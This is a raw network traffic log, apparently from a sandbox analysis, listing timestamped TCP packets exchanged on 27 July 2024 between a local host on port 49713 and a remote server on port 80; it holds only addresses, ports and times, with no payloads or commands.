Jul 27, 2024 03:19:23.489159107 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.489171982 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.489195108 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.489201069 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.489217043 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.489229918 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.489239931 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.489248991 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.489268064 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.489279032 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.489293098 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.489304066 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.489315987 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.489325047 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.489337921 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.489350080 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.489361048 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.489371061 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.489383936 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.489393950 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.489408016 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.489418030 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.489430904 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.489451885 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.489461899 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.489461899 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.489480019 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.489490032 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.489501953 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.489514112 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.489527941 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.489535093 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.489548922 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.489563942 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.489581108 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.524348021 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.524418116 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.524446964 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.524470091 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.524544001 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.524559021 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.524570942 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.524585962 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.524616003 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.524626970 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.524640083 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.524661064 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.524667978 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.524677038 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.524688959 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.524698973 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.524712086 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.524723053 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.524735928 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.524746895 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.524760962 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.524770975 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.524782896 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.524797916 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.524811029 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.524821043 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.524831057 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.524843931 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.524856091 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.524868011 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.524882078 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.524892092 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.524902105 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.524916887 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.524928093 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.524939060 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.524949074 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.524961948 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.524971008 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.524983883 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.524996042 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.525007010 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.525017023 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.525031090 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.525041103 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.525053978 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.525063992 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.525077105 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.525088072 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.525100946 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.525110006 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.525130033 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.525144100 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.525166035 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.525175095 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.525196075 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.525207996 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.525217056 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.525229931 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.525240898 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.525252104 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.525265932 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.525279999 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.525290966 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.525306940 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.525355101 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.525355101 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.525615931 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.525633097 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.525650024 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.525660038 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.525677919 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.525688887 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.525696993 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.525718927 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.525741100 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.525753975 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.525767088 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.525779963 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.525790930 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.525804996 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.525811911 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.525820971 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.525842905 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.525849104 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.525863886 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.525880098 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.525901079 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.525911093 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.525923014 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.525940895 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.525953054 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.525965929 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.525974989 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.525988102 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.525999069 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.526019096 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.526030064 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.526042938 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.526055098 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.526065111 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.526076078 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.526087999 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.526098013 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.526123047 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.526129961 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.526143074 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.526154995 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.526175976 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.526182890 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.526202917 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.526212931 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.526226044 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.526240110 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.526254892 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.526271105 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.526272058 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.526282072 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.526288033 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.526298046 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.526313066 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.526325941 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.526335955 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.526345015 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.526361942 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.526371956 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.526384115 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.526395082 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.526406050 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.526418924 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.526441097 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.526451111 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.526460886 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.526473045 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.526489973 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.526504993 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.526520014 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.526529074 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.526537895 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.526551962 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.526562929 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.526573896 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.526590109 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.526597977 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.526607990 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.526621103 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.526632071 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.526654959 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.526679993 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.526716948 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.576603889 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.576632977 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.576647997 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.576663971 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.576678038 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.576692104 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.576706886 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.576721907 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.576735973 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.576745987 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.576765060 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.576776028 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.576786995 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.576801062 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.576812983 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.576823950 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.576836109 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.576847076 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.576857090 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.576881886 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.576889038 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.576901913 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.576913118 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.576930046 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.576941013 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.576956034 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.576970100 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.576980114 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.576992989 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.577002048 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.577011108 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.577023983 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.577035904 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.577047110 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.577059984 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.577070951 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.577083111 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.577101946 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.577112913 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.577126980 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.577142000 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.577152014 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.577164888 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.577174902 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.577191114 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.577197075 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.577207088 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.577228069 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.577238083 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.577253103 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.577269077 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.577279091 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.577296019 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.577302933 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.577320099 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.577328920 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.577338934 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.577353954 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.577368021 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.577383041 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.577392101 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.577409029 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.577419043 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.577445030 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.577492952 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.577687025 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.611815929 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.611890078 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.611958981 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.611968994 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.611979008 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.611990929 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.611999989 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.612008095 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.612019062 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.612026930 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.612077951 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.612083912 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.612095118 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.612106085 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.612112999 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.612128973 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.612138033 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.612144947 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.612154961 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.612163067 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.612171888 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.612185955 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.612195015 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.612201929 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.612212896 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.612237930 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.612261057 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.612271070 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.612282038 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.612291098 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.612299919 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.612307072 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.612317085 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.612323999 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.612333059 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.612340927 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.612355947 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.612370968 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.612385988 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.612397909 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.612412930 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.612421036 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.612430096 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.612437010 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.612448931 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.612458944 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.612466097 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.612473011 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.612497091 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.612504959 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.612515926 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.612531900 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.612540007 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.612548113 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.612555027 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.612571001 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.612584114 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.612864017 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.612875938 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.612888098 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.612900019 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.612915039 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.612929106 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.613040924 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.613050938 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.613070965 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.613076925 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.613085032 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.613091946 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.613101006 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.613107920 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.613117933 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.613141060 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.613624096 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.613662958 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.613670111 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.613677979 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.613717079 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.613730907 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.613734961 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.613744020 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.613755941 CEST	80	49713	185.215.113.16	192.168.2.6
